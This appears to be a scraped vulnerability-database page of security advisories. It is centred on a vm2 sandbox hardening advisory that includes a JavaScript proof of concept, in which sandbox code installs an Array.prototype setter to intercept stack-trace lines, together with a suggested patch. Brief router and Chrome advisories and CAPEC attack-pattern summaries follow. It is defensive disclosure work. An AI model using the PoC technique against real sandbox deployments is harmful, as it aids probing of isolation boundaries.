// lib/setup-sandbox.js, lines 601-610
const lines = [header];
for (let i = 0; i < callSites.length; i++) {
try {
lines[lines.length] = ' at ' + callSites[i];
} catch (e) {
lines[lines.length] = ' at <error formatting frame>';
}
}
return lines.join('\n');
This function runs every time sandbox code reads error.stack (or any path that triggers Error.prepareStackTrace). At the time it runs, user code has already had the opportunity to install a setter on Array.prototype[N]. Because lines starts at length 1, the first iteration writes index 1; if lines[1] has no own data property, V8 walks the prototype chain and invokes the sandbox-controlled setter.
The currently-assigned value is the string ' at ' + callSites[i] (the wrapped CallSite class's safe toString() returns 'CallSite {}'), which limits the immediate impact to a side channel, not an RCE pivot. The concern is structural rather than exploit-today:
- The just-codified Defense Invariant #11 explicitly requires that any list, set, or map allocated for the bridge's exclusive use must read and write through identity-stable, prototype-bypassing primitives. This site does not.
- The
catchbranch at line 607 also uses the same pattern, so a sandbox getter that throws oncallSites[i]access still routes its retry write through the prototype chain. - A future change that makes the appended slot value an object holding a host-realm reference (for example, an enriched frame record) would re-introduce the exact GHSA-9qj6 attack shape against this codepath.
The fix is mechanical and mirrors the GHSA-9qj6 patch: install entries via localReflectDefineProperty so each appended slot is an own data property and the prototype-chain setter is bypassed.
// Suggested patch (sketch)
let linesLen = 1;
function append(s) {
localReflectDefineProperty(lines, linesLen, {
__proto__: null,
value: s,
writable: true,
enumerable: true,
configurable: true,
});
linesLen++;
}
for (let i = 0; i < callSites.length; i++) {
try {
append(' at ' + callSites[i]);
} catch (e) {
append(' at <error formatting frame>');
}
}
The same pattern at callSiteGetters[callSiteGetters.length] = {...} (line 649) runs only at sandbox setup, before user code can install setters, so it is safe today. Converting it for symmetry would be cheap and forward-compatible.
PoC
vm2 v3.11.2, Node v24.
const { VM } = require('vm2');
const result = new VM().run(`
var observed = { setterFired: false, capturedValue: null, indexFired: null };
Object.defineProperty(Array.prototype, 1, {
configurable: true,
set(value) {
observed.setterFired = true;
observed.indexFired = 1;
observed.capturedValue =
typeof value === 'string' ? value.slice(0, 40) : typeof value;
},
get() { return undefined; }
});
var e = new Error('x');
e.stack;
observed;
`);
console.log(result);
// {
// setterFired: true,
// capturedValue: ' at CallSite {}',
// indexFired: 1
// }
Sandbox code observed and intercepted the bridge-internal write to lines[1]. Repeating the PoC with the setter installed at multiple indices (0, 1, 2, ...) captures every frame the formatter would otherwise return.
Impact
Hardening / Defense Invariant #11 violation. No direct sandbox escape on the current codebase: the value passed to the setter is a primitive string after the wrapped CallSite.toString(), so attacker-controlled code does not gain a host-realm reference from the setter argument alone. The GHSA-9qj6 entry's "Considered Attack Surfaces" note states the audit covered lib/bridge.js index-write sites; this filing reports the equivalent pattern in lib/setup-sandbox.js so the invariant is uniform across the bridge boundary and future enrichments of the appended record cannot regress into the GHSA-9qj6 shape.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.3"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T17:38:33Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\n`defaultSandboxPrepareStackTrace` in `lib/setup-sandbox.js` (lines 605, 607) appends to a fresh sandbox-realm `lines = []` via `lines[lines.length] = value`. This is the exact invariant-violating pattern that GHSA-9qj6-qjgg-37qq (commit ca195f0, 2026-05-01) just patched in `neutralizeArraySpeciesBatch` and codified as Defense Invariant #11 (\"Bridge-internal containers must not invoke sandbox code\"). A sandbox-installed `Array.prototype[N]` setter fires during the bridge\u0027s safe-default stack-trace formatting and observes / intercepts each appended line.\n\n## Details\n\nThe post-9qj6 audit note in `docs/ATTACKS.md` (line 2111) states:\n\n\u003e Equivalent pattern elsewhere in the bridge: audited; thisFromOtherArguments, otherFromThisArguments, and every other index-write site already use thisReflectDefineProperty or otherReflectDefineProperty. neutralizeArraySpeciesBatch was the lone outlier.\n\nThe audit is scoped to `lib/bridge.js`. `lib/setup-sandbox.js` was not covered. `defaultSandboxPrepareStackTrace` (added under post-#563 hardening for GHSA-v27g) constructs a sandbox-realm `[header]` array and appends each frame via the prototype-walking index assignment:\n\n```\n// lib/setup-sandbox.js, lines 601-610\nconst lines = [header];\nfor (let i = 0; i \u003c callSites.length; i++) {\n try {\n lines[lines.length] = \u0027 at \u0027 + callSites[i];\n } catch (e) {\n lines[lines.length] = \u0027 at \u003cerror formatting frame\u003e\u0027;\n }\n}\nreturn lines.join(\u0027\\n\u0027);\n```\n\nThis function runs every time sandbox code reads `error.stack` (or any path that triggers `Error.prepareStackTrace`). At the time it runs, user code has already had the opportunity to install a setter on `Array.prototype[N]`. Because `lines` starts at length 1, the first iteration writes index 1; if `lines[1]` has no own data property, V8 walks the prototype chain and invokes the sandbox-controlled setter.\n\nThe currently-assigned value is the string `\u0027 at \u0027 + callSites[i]` (the wrapped `CallSite` class\u0027s safe `toString()` returns `\u0027CallSite {}\u0027`), which limits the immediate impact to a side channel, not an RCE pivot. The concern is structural rather than exploit-today:\n\n- The just-codified Defense Invariant #11 explicitly requires that any list, set, or map allocated for the bridge\u0027s exclusive use must read and write through identity-stable, prototype-bypassing primitives. This site does not.\n- The `catch` branch at line 607 also uses the same pattern, so a sandbox getter that throws on `callSites[i]` access still routes its retry write through the prototype chain.\n- A future change that makes the appended slot value an object holding a host-realm reference (for example, an enriched frame record) would re-introduce the exact GHSA-9qj6 attack shape against this codepath.\n\nThe fix is mechanical and mirrors the GHSA-9qj6 patch: install entries via `localReflectDefineProperty` so each appended slot is an own data property and the prototype-chain setter is bypassed.\n\n```javascript\n// Suggested patch (sketch)\nlet linesLen = 1;\nfunction append(s) {\n localReflectDefineProperty(lines, linesLen, {\n __proto__: null,\n value: s,\n writable: true,\n enumerable: true,\n configurable: true,\n });\n linesLen++;\n}\nfor (let i = 0; i \u003c callSites.length; i++) {\n try {\n append(\u0027 at \u0027 + callSites[i]);\n } catch (e) {\n append(\u0027 at \u003cerror formatting frame\u003e\u0027);\n }\n}\n```\n\nThe same pattern at `callSiteGetters[callSiteGetters.length] = {...}` (line 649) runs only at sandbox setup, before user code can install setters, so it is safe today. Converting it for symmetry would be cheap and forward-compatible.\n\n## PoC\n\nvm2 v3.11.2, Node v24.\n\n```javascript\nconst { VM } = require(\u0027vm2\u0027);\nconst result = new VM().run(`\n var observed = { setterFired: false, capturedValue: null, indexFired: null };\n Object.defineProperty(Array.prototype, 1, {\n configurable: true,\n set(value) {\n observed.setterFired = true;\n observed.indexFired = 1;\n observed.capturedValue =\n typeof value === \u0027string\u0027 ? value.slice(0, 40) : typeof value;\n },\n get() { return undefined; }\n });\n var e = new Error(\u0027x\u0027);\n e.stack;\n observed;\n`);\nconsole.log(result);\n// {\n// setterFired: true,\n// capturedValue: \u0027 at CallSite {}\u0027,\n// indexFired: 1\n// }\n```\n\nSandbox code observed and intercepted the bridge-internal write to `lines[1]`. Repeating the PoC with the setter installed at multiple indices (0, 1, 2, ...) captures every frame the formatter would otherwise return.\n\n## Impact\n\nHardening / Defense Invariant #11 violation. No direct sandbox escape on the current codebase: the value passed to the setter is a primitive string after the wrapped `CallSite.toString()`, so attacker-controlled code does not gain a host-realm reference from the setter argument alone. The GHSA-9qj6 entry\u0027s \"Considered Attack Surfaces\" note states the audit covered `lib/bridge.js` index-write sites; this filing reports the equivalent pattern in `lib/setup-sandbox.js` so the invariant is uniform across the bridge boundary and future enrichments of the appended record cannot regress into the GHSA-9qj6 shape.",
"id": "GHSA-q3fm-4wcw-g57x",
"modified": "2026-05-29T17:38:33Z",
"published": "2026-05-29T17:38:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-q3fm-4wcw-g57x"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/ad31adc1fc4a2c163f2f8c11ab4af206074528fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "vm2 setup-sandbox.js violates Defense Invariant #11 in stack-trace formatter"
}
GHSA-Q4RJ-Q7J3-GXF6
Vulnerability from github – Published: 2026-02-03 21:31 – Updated: 2026-02-03 21:31When configured as L2TP/IPSec VPN server, Archer AXE75 V1 may accept connections using L2TP without IPSec protection, even when IPSec is enabled. This allows VPN sessions without encryption, exposing data in transit and compromising confidentiality.
{
"affected": [],
"aliases": [
"CVE-2026-0620"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-03T19:16:15Z",
"severity": "MODERATE"
},
"details": "When configured as L2TP/IPSec VPN server, Archer AXE75 V1 may accept connections using L2TP without IPSec protection, even when IPSec is enabled.\u00a0\u00a0This allows VPN sessions without encryption, exposing data in transit and compromising confidentiality.",
"id": "GHSA-q4rj-q7j3-gxf6",
"modified": "2026-02-03T21:31:51Z",
"published": "2026-02-03T21:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0620"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/en/support/download/archer-axe75/v1/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/support/download/archer-axe75/v1/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/support/faq/4942"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q4RM-H6XG-HCMQ
Vulnerability from github – Published: 2026-06-09 00:33 – Updated: 2026-06-09 03:31Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.103 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-11695"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T00:16:52Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.103 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-q4rm-h6xg-hcmq",
"modified": "2026-06-09T03:31:39Z",
"published": "2026-06-09T00:33:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11695"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0153744567.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/517762104"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.